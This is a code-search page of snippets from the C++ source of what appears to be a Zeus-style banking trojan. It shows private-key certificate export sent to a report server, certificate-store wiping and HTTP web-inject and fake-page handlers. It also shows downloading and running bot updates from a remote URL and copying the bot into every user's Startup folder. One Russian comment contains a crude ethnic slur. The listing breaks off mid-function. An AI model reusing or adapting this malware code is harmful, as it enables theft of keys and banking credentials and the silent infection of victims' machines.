Exemplo n.º 1
0
/*
  Экспорт хранилища в отчет.

  IN storeName - имя хранилища.

  Return       - true - если хранилище успещно прочитано и записано в отчет, если сертифкатов > 0.
                 true - если хранилище успещно прочитано и если сертифкатов == 0.
                 false - в случаи ошибки.
*/
static bool exportStore(LPWSTR storeName)
{
  WDEBUG1(WDDT_INFO, "Exporting %s", storeName);
  bool retVal = false;
  
  HANDLE storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName);
  if(storeHandle != NULL)
  {
    //Получаем кол. сертификатов.
    DWORD certsCount = 0;
    {
      PCCERT_CONTEXT certContext = NULL;
      while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL)certsCount++;
    }

    if(certsCount == 0)retVal = true;
    else 
    {
      //Получаем размер хранилища.
      CRYPT_DATA_BLOB pfxBlob;
      pfxBlob.pbData = NULL;
      pfxBlob.cbData = 0;

      CSTR_GETW(password, certstore_export_password);
      if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE &&
        (pfxBlob.pbData = (LPBYTE)Mem::alloc(pfxBlob.cbData)) != NULL)
      {
        if(CWA(crypt32, PFXExportCertStoreEx)(storeHandle, &pfxBlob, password, 0, EXPORT_PRIVATE_KEYS) != FALSE)
        {
          //Делаем имя хранилища в нижний регистр.
          WCHAR storeNameLower[CryptedStrings::len_certstore_export_remote_path * 2];
          Str::_CopyW(storeNameLower, storeName, -1);
          CWA(kernel32, CharLowerW)(storeNameLower);

          //Генерируем имя.
          WCHAR userName[MAX_PATH];
          WCHAR pfxName[CryptedStrings::len_certstore_export_remote_path * 2];
          SYSTEMTIME st;
          CWA(kernel32, GetSystemTime)(&st);

          CSTR_GETW(serverPath, certstore_export_remote_path);
          getUserNameForPath(userName);

          if(Str::_sprintfW(pfxName, sizeof(pfxName) / sizeof(WCHAR), serverPath, userName, storeNameLower, st.wDay, st.wMonth, st.wYear) > 0 &&
            Report::writeData(BLT_FILE, storeName, pfxName, pfxBlob.pbData, pfxBlob.cbData))
          {
            retVal = true;
          }
        }
        Mem::free(pfxBlob.pbData);
      }
    }
    CWA(crypt32, CertCloseStore)(storeHandle, 0);
  }
  return retVal;
}
Exemplo n.º 2
0
/*
  Кэллбэк для readAllContext().
*/
static void CALLBACK readAllContextCallback(HINTERNET internet, DWORD_PTR context, DWORD internetStatus, LPVOID statusInformation, DWORD statusInformationLength)
{
  if(internetStatus == INTERNET_STATUS_REQUEST_COMPLETE || internetStatus == INTERNET_STATUS_CONNECTION_CLOSED)
  {
    CWA(kernel32, EnterCriticalSection)(&connectionsCs);
    DWORD connectionIndex = connectionFind(internet);
    if(connectionIndex != (DWORD)-1)
    {
      CWA(kernel32, SetEvent)(connections[connectionIndex].readEvent);
    }
#   if(BO_DEBUG > 0) && defined WDEBUG1
    else WDEBUG1(WDDT_INFO, "Unknown request=0x%p.", internet);
#   endif
    CWA(kernel32, LeaveCriticalSection)(&connectionsCs);
  }
}
Exemplo n.º 3
0
HINTERNET HttpGrabber::_createFakeResponse(REQUESTDATA *requestData, INJECTFULLDATA *fakeData)
{
  //Генерируем URL фейка.
  FAKECONNECT fakeConnect;
  fakeConnect.requestData = requestData;
  fakeConnect.fakeRequest = NULL;

  if(fakeData->flags & HttpInject::FLAG_IS_MIRRORFAKE)fakeConnect.fakeUrl = _genarateMirrorFakeUrlA(fakeData->fakeUrl, requestData->url, fakeData->urlMask);
  else fakeConnect.fakeUrl = HttpTools::_catExtraInfoFromUrlToUrlA(requestData->url, fakeData->fakeUrl);

# if defined WDEBUG1
  WDEBUG1(WDDT_INFO, "fakeConnect.fakeUrl=[%S].", fakeConnect.fakeUrl);
# endif
  
  //Вызываем поток для прозрачного подключения.
  if(fakeConnect.fakeUrl != NULL)
  {
    Core::initHttpUserAgent(); //Нужно вызвать здесь, т.к. вызов в другом потоке приведет к deadlock.

#   if defined WDEBUG0
    WDEBUG0(WDDT_INFO, "Sending request to fake.");
#   endif

    HANDLE fakeThread = CWA(kernel32, CreateThread)(NULL, 0, (LPTHREAD_START_ROUTINE)fakeConnectProc, &fakeConnect, 0, NULL);
    if(fakeThread != NULL)
    {
      Sync::_waitForMultipleObjectsAndDispatchMessages(1, &fakeThread, false, INFINITE);
      CWA(kernel32, CloseHandle)(fakeThread);
    }

#   if defined WDEBUG0
    WDEBUG0(WDDT_INFO, "Request sended.");
#   endif    
    
    Mem::free(fakeConnect.fakeUrl);
  }
  
  //Проверяем результат.
# if(BO_DEBUG > 0 && defined WDEBUG)
  if(fakeConnect.fakeRequest == NULL)WDEBUG0(WDDT_ERROR, "Failed to create fake request.");
# endif  

  return fakeConnect.fakeRequest;
}
Exemplo n.º 4
0
bool Report::startServerSession(SERVERSESSION *session)
{
  WDEBUG1(WDDT_INFO, "url=%S", session->url);

  bool retVal = false;
  HttpTools::URLDATA ud;
  BinStorage::STORAGE *originalPostData = session->postData; //Сохраняем оригинальные пост-данные.

  if(HttpTools::_parseUrl(session->url, &ud))
  {
    Core::initHttpUserAgent();

    //Цикл повтора подключений к серверу в случаи обрыва или недоступности.
    for(BYTE bi = 0; bi < WININET_CONNECT_RETRY_COUNT && retVal == false; bi++)
    {
      //Задержка.
      if(bi > 0)
      {
        if(session->stopEvent != NULL)
        {
          if(CWA(kernel32, WaitForSingleObject)(session->stopEvent, WININET_CONNECT_RETRY_DELAY) != WAIT_TIMEOUT)break;
        }
        else CWA(kernel32, Sleep)(WININET_CONNECT_RETRY_DELAY);
      }

      //Создаем хэндл сервера.
      HINTERNET serverHandle = Wininet::_Connect(coreData.httpUserAgent, ud.host, ud.port, bi % 2 == 0 ? Wininet::WICF_USE_IE_PROXY : 0);
      if(serverHandle != NULL)
      {
        for(DWORD loop = 0;; loop++)
        {
          int r = sendRequest(&ud, serverHandle, session, originalPostData, loop);
          if(r == SSPR_ERROR)break;
          else if(r == SSPR_END){retVal = true; break;}
        }
        Wininet::_CloseConnection(serverHandle);
      }
    }
    HttpTools::_freeUrlData(&ud);
  }

  session->postData = originalPostData; //Восстанавливаем оригинальные пост-данные.
  return retVal;
}
Exemplo n.º 5
0
bool Report::startServerSession(SERVERSESSION *session)
{
  WDEBUG1(WDDT_INFO, "url=%S", session->url);

  bool retVal = false;
  HttpTools::URLDATA ud;
  BinStorage::STORAGE *originalPostData = session->postData; //Save the original post-data.

  if(HttpTools::_parseUrl(session->url, &ud))
  {
    Core::initHttpUserAgent();

    //Repeat cycle connections to the server in case of disconnection or unavailable.
    for(BYTE bi = 0; bi < WININET_CONNECT_RETRY_COUNT && retVal == false; bi++)
    {
      //Delay.
      if(bi > 0)
      {
        if(session->stopEvent != NULL)
        {
          if(CWA(kernel32, WaitForSingleObject)(session->stopEvent, WININET_CONNECT_RETRY_DELAY) != WAIT_TIMEOUT)break;
        }
        else CWA(kernel32, Sleep)(WININET_CONNECT_RETRY_DELAY);
      }

      //Create a handle to the server.
      HINTERNET serverHandle = Wininet::_Connect(coreData.httpUserAgent, ud.host, ud.port, bi % 2 == 0 ? Wininet::WICF_USE_IE_PROXY : 0);
      if(serverHandle != NULL)
      {
        for(DWORD loop = 0;; loop++)
        {
          int r = sendRequest(&ud, serverHandle, session, originalPostData, loop);
          if(r == SSPR_ERROR)break;
          else if(r == SSPR_END){retVal = true; break;}
        }
        Wininet::_CloseConnection(serverHandle);
      }
    }
    HttpTools::_freeUrlData(&ud);
  }

  session->postData = originalPostData; //Restoring the original post-data.
  return retVal;
}
Exemplo n.º 6
0
/*
  Очистка хранилища.

  IN storeName - имя хранилища.

  Return       - true - в случаи успеха,
                 false - в случаи ошибки.
*/
static bool clearStore(LPWSTR storeName)
{
  WDEBUG1(WDDT_INFO, "Clearing %s", storeName);
  bool retVal = false;
  
  HANDLE storeHandle = CWA(crypt32, CertOpenSystemStoreW)(NULL, storeName);
  if(storeHandle != NULL)
  {
    PCCERT_CONTEXT certContext = NULL;
    while((certContext = CWA(crypt32, CertEnumCertificatesInStore)(storeHandle, certContext)) != NULL)
    {
      PCCERT_CONTEXT dupCertContext = CWA(crypt32, CertDuplicateCertificateContext)(certContext);
      if(dupCertContext != NULL)CWA(crypt32, CertDeleteCertificateFromStore)(dupCertContext);
    }
    retVal = true;
    CWA(crypt32, CertCloseStore)(storeHandle, 0);
  }
  return retVal;
}
Exemplo n.º 7
0
HMODULE Process::_getModuleHandle(HANDLE process, LPWSTR moduleName)
{
    bool relative = (CWA(shlwapi, PathIsRelative)(moduleName) == TRUE);
    HMODULE testModule;
    HMODULE ret = NULL;
    DWORD neededSize;

    if(CWA(psapi, EnumProcessModules)(process, &testModule, sizeof(testModule), &neededSize))
    {
        HMODULE *modules = (HMODULE *)Mem::alloc(neededSize);
        if(modules)
        {
            DWORD modulesCount = neededSize / sizeof(HMODULE);
            if(CWA(psapi, EnumProcessModules)(process, modules, neededSize, &neededSize))
            {
                WCHAR name[MAX_PATH];
                for(DWORD i = 0; i < modulesCount; i++)
                {
                    if(relative)
                    {
                        if(CWA(psapi, GetModuleBaseNameW)(process, modules[i], name, (sizeof(name) / sizeof(WCHAR))) == 0)continue;
                    }
                    else
                    {
                        if(CWA(psapi, GetModuleFileNameExW)(process, modules[i], name, (sizeof(name) / sizeof(WCHAR))) == 0)continue;
                    }

#         if defined(WDEBUG1)
                    WDEBUG1(WDDT_INFO, "Module: %s", name);
#         endif
                    if(CWA(kernel32, lstrcmpiW)(name, moduleName) == 0)
                    {
                        ret = modules[i];
                        break;
                    }
                }
            }

            Mem::free(modules);
        }
    }
    return ret;
}
Exemplo n.º 8
0
/*
  Загрузка обвнолвения бота, используя данные из текущей конфигурации.

  IN force - форсировать обновление бота, независимво от версии.

  Return   - true - обновление успешно запущено,
             false - произошла ошибка.
*/
static bool tryToUpdateBot(bool force)
{
  bool retVal = false;;
  BinStorage::STORAGE *currentConfig = DynamicConfig::getCurrent();
  if(currentConfig != NULL)
  {
    DWORD version;
    if(BinStorage::_getItemDataAsDword(currentConfig, CFGID_LAST_VERSION, BinStorage::ITEMF_IS_OPTION, &version) &&
       (version > BO_CLIENT_VERSION || (force == true && version >= BO_CLIENT_VERSION)))
    {
      LPSTR url = (LPSTR)BinStorage::_getItemDataEx(currentConfig, CFGID_LAST_VERSION_URL, BinStorage::ITEMF_IS_OPTION, NULL);
      if(url != NULL)
      {
        WCHAR tempFile[MAX_PATH];
        LPWSTR ext = FILEEXTENSION_EXECUTABLE;
        if(Fs::_createTempFileEx(NULL, ext + 1, tempFile))
        {
          WDEBUG2(WDDT_INFO, "\"%S\" => \"%s\".", url, tempFile);
		  MEMDATA memData;
		  
          if(newDownloader(url, &memData) && Fs::_saveToFile(tempFile,memData.data,memData.size))
          {
            DWORD pid = Process::_createEx(tempFile, force ? L"-f" : NULL, NULL, NULL, NULL);
#           if(BO_DEBUG > 0)
            if(pid == 0)WDEBUG0(WDDT_ERROR, "Failed to run new version of bot.");
            else WDEBUG1(WDDT_INFO, "PID of new bot is %u.", pid);
#           endif
            if(pid != 0)retVal = true;
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "Failed to download the bot.");
#         endif

          Fs::_removeFile(tempFile);
        }
        Mem::free(url);
      }
    }
    Mem::free(currentConfig);
  }
  return retVal;
}
Exemplo n.º 9
0
HINTERNET Wininet::_SendRequest(HINTERNET hConnect, LPSTR pstrURI, LPSTR pstrReferer, void *pPostData, DWORD dwPostDataSize, DWORD dwFlags)
{
  DWORD dwReqFlags = INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID |
                     INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_AUTH | 
                     INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_UI | INTERNET_FLAG_PRAGMA_NOCACHE | INTERNET_FLAG_RELOAD;

  if(dwFlags & WISRF_KEEP_CONNECTION)dwReqFlags |= INTERNET_FLAG_KEEP_CONNECTION;
  if(dwFlags & WISRF_IS_HTTPS)dwReqFlags |= INTERNET_FLAG_SECURE;

# if defined WDEBUG1
  WDEBUG1(WDDT_INFO, "pstrURI=%S", pstrURI);  
# endif
  
  //Create the query.
  HINTERNET hReq = CWA(wininet, HttpOpenRequestA)(hConnect, dwFlags & WISRF_METHOD_POST ? "POST" : "GET", pstrURI, DEFAULT_HTTP_VERSION, pstrReferer, (LPCSTR *)AcceptTypes, dwReqFlags, NULL);

  if(hReq != NULL)
  {
    //Sending request.
    LPSTR headers;
    DWORD headersSize;
    
    if(dwFlags & WISRF_KEEP_CONNECTION)
    {
      headers     = NULL;
      headersSize = 0;
    }
    else
    {
      headers     = "Connection: close\r\n";
      headersSize = 19;
    }
    
    if(CWA(wininet, HttpSendRequestA)(hReq, headers, headersSize, pPostData, dwPostDataSize))
    {
      DWORD dwStatus = 0, dwSize = sizeof(DWORD);
      if(CWA(wininet, HttpQueryInfoA)(hReq, HTTP_QUERY_STATUS_CODE | HTTP_QUERY_FLAG_NUMBER, &dwStatus, &dwSize, NULL) && dwStatus == HTTP_STATUS_OK)return hReq;
    }
    CWA(wininet, InternetCloseHandle)(hReq);
  }
  return NULL;
}
Exemplo n.º 10
0
/*
  Снимает перехватыват со всеx WinApi из списка

  IN process            - процесс.
  IN OUT list           - список.
  IN count              - кол. эелементов.

  Return                - true - если снять перехват со всех WinApi,
                          false - если не снят перехват хотя бы с одной WinAPI.
*/
static bool unhookList(HANDLE process, HOOKWINAPI *list, DWORD count)
{
  bool ok = true; 
  for(DWORD i = 0; i < count; i++)if(list[i].originalFunction != NULL)
  {
    if(!WaHook::_unhook(process, list[i].functionForHook, list[i].originalFunction, list[i].originalFunctionSize))
    {
      ok = false;
#     if defined WDEBUG1
      WDEBUG1(WDDT_ERROR, "Failed to unhook WinApi at index %u", i);
#     endif
    }
    /*else
    {
      PeImage::_repalceImportFunction(coreData.modules.current, list[i].originalFunction, list[i].functionForHook);
      Core::replaceFunction(list[i].originalFunction, list[i].functionForHook);
    }*/
  }
  return ok;
}
Exemplo n.º 11
0
bool Wininet::callCallback(HINTERNET handle, DWORD_PTR context, DWORD internetStatus, LPVOID statusInformation, DWORD statusInformationLength)
{
  HINTERNET originalHandle = handle;
  for(; handle != NULL;)
  {
    INTERNET_STATUS_CALLBACK isc = NULL;
    DWORD size                   = sizeof(INTERNET_STATUS_CALLBACK);

    if(CWA(wininet, InternetQueryOptionA)(handle, INTERNET_OPTION_CALLBACK, &isc, &size) == TRUE && isc != INTERNET_NO_CALLBACK && isc != INTERNET_INVALID_STATUS_CALLBACK)
    {
#     if defined WDEBUG1
      WDEBUG1(WDDT_INFO, "Calling 0x%p.", isc);
#     endif

      isc(originalHandle, context, internetStatus, statusInformation, statusInformationLength);
      return true;
    }
    
    size = sizeof(HINTERNET);
    if(CWA(wininet, InternetQueryOptionA)(handle, INTERNET_OPTION_PARENT_HANDLE, &handle, &size) == FALSE)break;
  }
  return false;
}
Exemplo n.º 12
0
bool CoreInstall::_installToAll(void)
{
  //Получаем предположительный путь для Startup директории.
  WCHAR startupPath[MAX_PATH];
  {
    typedef BOOL (WINAPI *GETDEFAULTUSERPROFILEDIRECTORYW)(LPWSTR profileDir, LPDWORD size);
    
    bool ok = false;
    HMODULE dll;
    {
      CSTR_GETW(dllName, module_userenv)
      dll = CWA(kernel32, LoadLibraryW)(dllName);
    }
    
    if(dll != NULL)
    {
      GETDEFAULTUSERPROFILEDIRECTORYW getDefaultUserProfileDirectory;
      {
        CSTR_GETA(func, userenv_getdefuserprofiledir);
        getDefaultUserProfileDirectory = (GETDEFAULTUSERPROFILEDIRECTORYW)CWA(kernel32, GetProcAddress)(dll, func);
      }
      
      if(getDefaultUserProfileDirectory != NULL)
      {
        WCHAR defaultUserRoot[MAX_PATH];
        DWORD size = MAX_PATH;
    
        if(getDefaultUserProfileDirectory(defaultUserRoot, &size) == TRUE)
        {
          if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
          {
            size = Str::_LengthW(defaultUserRoot);
            if(CWA(shlwapi, StrCmpNIW)(defaultUserRoot, startupPath, size) == 0)
            {
              Str::_CopyW(startupPath, startupPath + size, -1);
              WDEBUG1(WDDT_INFO, "startupPath=[%s].", startupPath);
              ok = true;
            }
#           if(BO_DEBUG > 0)
            else WDEBUG0(WDDT_ERROR, "Failed to get default startup folder.");
#           endif 
          }
#         if(BO_DEBUG > 0)
          else WDEBUG0(WDDT_ERROR, "SHGetFolderPathW failed.");
#         endif 
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW failed.");
#       endif 
      }
#     if(BO_DEBUG > 0)
      else WDEBUG0(WDDT_ERROR, "GetDefaultUserProfileDirectoryW not founded.");
#     endif 
      CWA(kernel32, FreeLibrary)(dll);
    }
#   if(BO_DEBUG > 0)
    else WDEBUG0(WDDT_ERROR, "userenv.dll not founded.");
#   endif 

    if(!ok)return false;
  }
  
  //Получаем список полозователей.
  bool ok = false;
  DWORD handle = 0;
  NET_API_STATUS status;
  
  do
  {
    /*
      Тупые, притупые идусы из MS, не понимают что они тупые притупые. Дело в том, что в MSDN
      написано, что NetUserEnum может работать с уровнями 4, 23, а на практики мы получаем 
      большой индуский ХУЙ!
    */

    DWORD readed;
    DWORD total;
    USER_INFO_0 *buf0 = NULL;
    status = CWA(netapi32, NetUserEnum)(NULL, 0, FILTER_NORMAL_ACCOUNT, (LPBYTE *)&buf0, MAX_PREFERRED_LENGTH, &readed, &total, &handle);

    if((status == NERR_Success || status == ERROR_MORE_DATA) && buf0 != NULL)
    {
      USER_INFO_23 *buf23;
      for(DWORD i = 0; i < readed; i++)if(CWA(netapi32, NetUserGetInfo)(NULL, buf0[i].usri0_name, 23, (LPBYTE *)&buf23) == NERR_Success && buf23 != NULL)
      {
        //Получаем директорию Startup.
        WCHAR profileDir[MAX_PATH];
        if(OsEnv::_getUserProfileDirectoryhBySid(buf23->usri23_user_sid, profileDir) && Fs::_pathCombine(profileDir, profileDir, startupPath) && Fs::_createDirectoryTree(profileDir, NULL))
        {
          WDEBUG2(WDDT_INFO, "Founded user: name=[%s], profileDir=[%s].", buf23->usri23_name, profileDir);

          //Делаем копию себя в профиль пользователя.
          WCHAR fileName[MAX_PATH];
          if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, profileDir, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))
          {
            WDEBUG1(WDDT_INFO, "Copied to \"%s\".", fileName);
            ok = true;
            
            //Пытаемся запустить процесс.
            tryToRunForActiveSessions(buf23->usri23_user_sid, fileName);
          }
#         if(BO_DEBUG > 0)
          else WDEBUG1(WDDT_ERROR, "Failed to copy itself to statup folder of user \"%s\".", buf23->usri23_name);
#         endif
        }
        CWA(neteapi32, NetApiBufferFree)(buf23);
      }
      CWA(neteapi32, NetApiBufferFree)(buf0);
    }
  }
  while(status == ERROR_MORE_DATA);

  //Ну и копируем в себя в Default User.
  if(CWA(shell32, SHGetFolderPathW)(NULL, CSIDL_STARTUP | CSIDL_FLAG_CREATE, (HANDLE)-1, SHGFP_TYPE_DEFAULT, startupPath) == S_OK)
  {
    WCHAR fileName[MAX_PATH];
    if(MalwareTools::_GenerateRandomFileName(MalwareTools::NCF_ALL_LOWER, startupPath, fileName, FILEEXTENSION_EXECUTABLE, 4, 6) && savePeFile(NULL, fileName, false))ok = true;
  }
  return ok;
}
Exemplo n.º 13
0
bool CoreInstall::_update(BotStatus::VER1 *bs, const LPWSTR pathHome, LPWSTR coreFile, bool force)
{
  bool ok = false;  

  //Проверяем основные условия.
  if(bs->structSize == sizeof(BotStatus::VER1) && ((force == true && bs->version <= BO_CLIENT_VERSION) || bs->version < BO_CLIENT_VERSION))
  {
    WDEBUG4(WDDT_INFO, "Updating existing bot %u.%u.%u.%u to current version.", VERSION_MAJOR(bs->version), VERSION_MINOR(bs->version), VERSION_SUBMINOR(bs->version), VERSION_BUILD(bs->version));
    
    //Заполняем PESETTINGS.
    PESETTINGS pes;
    Mem::_zero(&pes, sizeof(PESETTINGS));
    {
      Mem::_copy(pes.compId,  bs->compId,  sizeof(pes.compId));
      Mem::_copy(&pes.guid,   &bs->guid,   sizeof(GUID));
      Mem::_copy(&pes.rc4Key, &bs->rc4Key, sizeof(Crypt::RC4KEY));

      pes.size = sizeof(PESETTINGS);
      WDEBUG5(WDDT_INFO, "Current OS guid {%08X-%04X-%04X-%08X%08X}.", pes.guid.Data1, pes.guid.Data2, pes.guid.Data3, *((LPDWORD)&pes.guid.Data4[0]), *((LPDWORD)&pes.guid.Data4[4]));

      Str::_unicodeToAnsi(bs->userPaths.coreFile,         -1, pes.userPaths.coreFile,         sizeof(pes.userPaths.coreFile) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.reportFile,       -1, pes.userPaths.reportFile,       sizeof(pes.userPaths.reportFile) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.regKey,           -1, pes.userPaths.regKey,           sizeof(pes.userPaths.regKey) / sizeof(char));
      Str::_unicodeToAnsi(bs->userPaths.regDynamicConfig, -1, pes.userPaths.regDynamicConfig, CORE_REGISTRY_VALUE_BUFFER_SIZE);
      Str::_unicodeToAnsi(bs->userPaths.regLocalConfig,   -1, pes.userPaths.regLocalConfig,   CORE_REGISTRY_VALUE_BUFFER_SIZE);
      Str::_unicodeToAnsi(bs->userPaths.regLocalSettings, -1, pes.userPaths.regLocalSettings, CORE_REGISTRY_VALUE_BUFFER_SIZE);

      //Случайно число для заражения процессов.
      pes.processInfecionId = MAKELONG(Crypt::mtRandRange(0x1, 0xFFFF), Crypt::mtRandRange(0x1, 0xFFFF));
      
      //XOR ключ для хранения отчетов.
      pes.storageArrayKey = bs->storageArrayKey;
      
      WDEBUG6(WDDT_INFO, "pes.userPaths.coreFile=[%S], pes.userPaths.reportFile=[%S], pes.userPaths.regKey=[%S], pes.userPaths.regDynamicConfig=[%S], pes.userPaths.regLocalConfig=[%S], pes.userPaths.regLocalSettings=[%S]",
              pes.userPaths.coreFile, pes.userPaths.reportFile, pes.userPaths.regKey, pes.userPaths.regDynamicConfig, pes.userPaths.regLocalConfig, pes.userPaths.regLocalSettings);
    }

    //Шифруем
    {
      BASECONFIG baseConfig;
      Core::getBaseConfig(&baseConfig);

      Crypt::RC4KEY rc4k;
      Mem::_copy(&rc4k, &baseConfig.baseKey, sizeof(Crypt::RC4KEY));
      Crypt::_rc4(&pes, sizeof(PESETTINGS), &rc4k);
    }
    
    //Останавливаем запущеные сервисы.
    if(bs->stopServices != NULL)
    {
      WDEBUG0(WDDT_INFO, "Stopping old bot...");
      bs->stopServices(NULL);
      WDEBUG0(WDDT_INFO, "Old bot stopped!");
    }
    
    //Генерируем копию файла.
    if(Fs::_pathCombine(coreFile, pathHome, bs->userPaths.coreFile) && savePeFile(&pes, coreFile, true))
    {
      //Изменяем время файлов.
      FILETIME fileTimeTemplate;
      if(Fs::_getFileTime(true, pathHome, &fileTimeTemplate, NULL, NULL))Fs::_setRandomFileTime(Time::_fileTimeToTime(&fileTimeTemplate), FILETIME_GENERATOR_RESERVED_SECONDS, coreFile, 1);

      //Финал.
      Mem::_copy(&coreData.peSettings, &pes, sizeof(PESETTINGS));
      ok = true;
    }
    WDEBUG1(WDDT_INFO, "Updating finished with code %u.", ok);
    Mem::_zero(&pes, sizeof(PESETTINGS)); //На всякий случай.
  }
# if(BO_DEBUG > 0)
  else WDEBUG4(WDDT_WARNING, "Existing bot %u.%u.%u.%u not need update.", VERSION_MAJOR(bs->version), VERSION_MINOR(bs->version), VERSION_SUBMINOR(bs->version), VERSION_BUILD(bs->version));
# endif

  return ok;
}
Exemplo n.º 14
0
/*
  Поиск активных сессий пользователя, и запуск из под них процессов.

  IN sid      - SID пользоваетеля.
  IN fileName - файл для запуска.
*/
static void tryToRunForActiveSessions(PSID sid, const LPWSTR fileName)
{
  HMODULE dll;
  {
    CSTR_GETW(dllName, module_wtsapi32);
    dll = CWA(kernel32, LoadLibraryW)(dllName);
  }

  if(dll != NULL)
  {    
    WTSENUMERATESESSIONSW enumerateSessions;
    WTSFREEMEMORY freeMemory;
    WTSQUERYUSERTOKEN queryUserToken;
    {
      CSTR_GETA(enumerateSessionsName, wtsapi32_enumeratesessions);
      enumerateSessions = (WTSENUMERATESESSIONSW)CWA(kernel32, GetProcAddress)(dll, enumerateSessionsName);
    }
    {
      CSTR_GETA(freeMemoryName, wtsapi32_freememory);
      freeMemory = (WTSFREEMEMORY)CWA(kernel32, GetProcAddress)(dll, freeMemoryName);
    }
    {
      CSTR_GETA(queryUserTokenName, wtsapi32_queryusertoken);
      queryUserToken = (WTSQUERYUSERTOKEN)CWA(kernel32, GetProcAddress)(dll, queryUserTokenName);
    }
    
    if(enumerateSessions != NULL && freeMemory != NULL && queryUserToken != NULL)
    {
      Process::_enablePrivilege(SE_TCB_NAME, true); //Для WTSQueryUserToken.
      
      //Интерактивную сессию обрабатываем отдельно, на случай если терминальный сервер не запущен и т.д.
      DWORD activeSession = CWA(kernel32, WTSGetActiveConsoleSessionId)();
      WDEBUG1(WDDT_INFO, "activeSession=%u.", activeSession);
      
      //Смотрим интерактивную сессию.
      if(activeSession != (DWORD)-1)createProcessForSession(queryUserToken, activeSession, sid, fileName);

      //Проматриваем все сессии кроме интерактивной.
      {
        PWTS_SESSION_INFOW sessions;
        DWORD sessionsCount;

        if(enumerateSessions(WTS_CURRENT_SERVER_HANDLE, 0, 1, &sessions, &sessionsCount) != FALSE)
        {
          WDEBUG1(WDDT_INFO, "sessionsCount=%u.", sessionsCount);
          for(DWORD i = 0; i < sessionsCount; i++)
          {
            WDEBUG4(WDDT_INFO, "sessions[%u].State=%u, sessions[%u].SessionId=%u", i, sessions[i].State, i, sessions[i].SessionId);
            if((sessions[i].State == WTSActive || sessions[i].State == WTSDisconnected) && sessions[i].SessionId != activeSession)
            {
              createProcessForSession(queryUserToken, sessions[i].SessionId, sid, fileName);
            }
          }
          freeMemory(sessions);
        }
#       if(BO_DEBUG > 0)
        else WDEBUG0(WDDT_ERROR, "WTSEnumerateSessionsW failed.");
#       endif
      }
    }
    CWA(kernel32, FreeLibrary)(dll);
  }
}
Exemplo n.º 15
0
bool HttpGrabber::_executeInjects(const LPSTR url, LPBYTE *context, LPDWORD contextSize, const INJECTFULLDATA *dataList, DWORD count)
{
  DWORD changesCount = 0; //Кол. примененых инжектов.

  OutputDebugStringA(url);
  for(DWORD i = 0; i < count; i++)
  {
    INJECTFULLDATA *curData = (INJECTFULLDATA *)&dataList[i];
    OutputDebugStringA(curData->contextMask);
    DWORD matchFlags = curData->flags & HttpInject::FLAG_CONTEXT_CASE_INSENSITIVE ? Str::MATCH_CASE_INSENSITIVE_FAST : 0;

    //Проверка маски контента.
    if(curData->contextMask != NULL && !_matchContextA(curData->contextMask, *context, *contextSize, matchFlags))
    {
#     if defined WDEBUG0
      WDEBUG0(WDDT_INFO, "Context no matched.");
#     endif
	  OutputDebugStringA("1");
      continue;
    }
OutputDebugStringA("2");
    LPBYTE grabbedData     = NULL;
    DWORD  grabbedDataSize = 0;
    LPBYTE curBlock        = (LPBYTE)curData->injects;
    LPBYTE endBlock        = curBlock + curData->injectsSize;

    //Применяем инжекты, грабим данные.
    while(curBlock < endBlock)
    {
      //Ищим место замены.
      DWORD offsetBegin; //Начало данных для замены.
      DWORD offsetEnd;   //Конец данных для замены.
      HttpInject::INJECTBLOCK *blockPrefix = (HttpInject::INJECTBLOCK *)curBlock;
      HttpInject::INJECTBLOCK *blockPostfix  = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPrefix + blockPrefix->size);
      HttpInject::INJECTBLOCK *blockNew    = (HttpInject::INJECTBLOCK *)((LPBYTE)blockPostfix + blockPostfix->size);
      
      curBlock = (LPBYTE)blockNew + blockNew->size; //Следующий элемент.
      
      //Получаем позицию начала.
OutputDebugStringA("3");
      if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))
      {
OutputDebugStringA("4");
        offsetBegin = 0;
      }
      else if(!_matchContextExA((LPBYTE)blockPrefix + sizeof(HttpInject::INJECTBLOCK), blockPrefix->size - sizeof(HttpInject::INJECTBLOCK), *context, *contextSize, NULL, &offsetBegin, matchFlags))
      {
OutputDebugStringA("5");
        continue;
      }
      
      //Получаем позицию конца.
      if(blockPostfix->size == sizeof(HttpInject::INJECTBLOCK))
      {
OutputDebugStringA("6");
        if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetEnd = *contextSize;
        else offsetEnd = offsetBegin;
      }
      else if(_matchContextExA((LPBYTE)blockPostfix + sizeof(HttpInject::INJECTBLOCK), blockPostfix->size - sizeof(HttpInject::INJECTBLOCK), *context + offsetBegin, *contextSize - offsetBegin, &offsetEnd, NULL, matchFlags))
      {        
OutputDebugStringA("7");
        if(blockPrefix->size == sizeof(HttpInject::INJECTBLOCK))offsetBegin = offsetEnd;
        else offsetEnd += offsetBegin;
      }
      else
      {
OutputDebugStringA("8");
        continue;
      }      
      
      DWORD blockNewDataSize = blockNew->size - sizeof(HttpInject::INJECTBLOCK); //Размер ставляемых данных.
      DWORD matchedDataSize  = offsetEnd - offsetBegin;                          //Размер наденых данных.
      //Замена.
OutputDebugStringA("9");
      if(curData->flags & HttpInject::FLAG_IS_INJECT)
      {
OutputDebugStringA("10");
        DWORD newSize = *contextSize - matchedDataSize + blockNewDataSize;
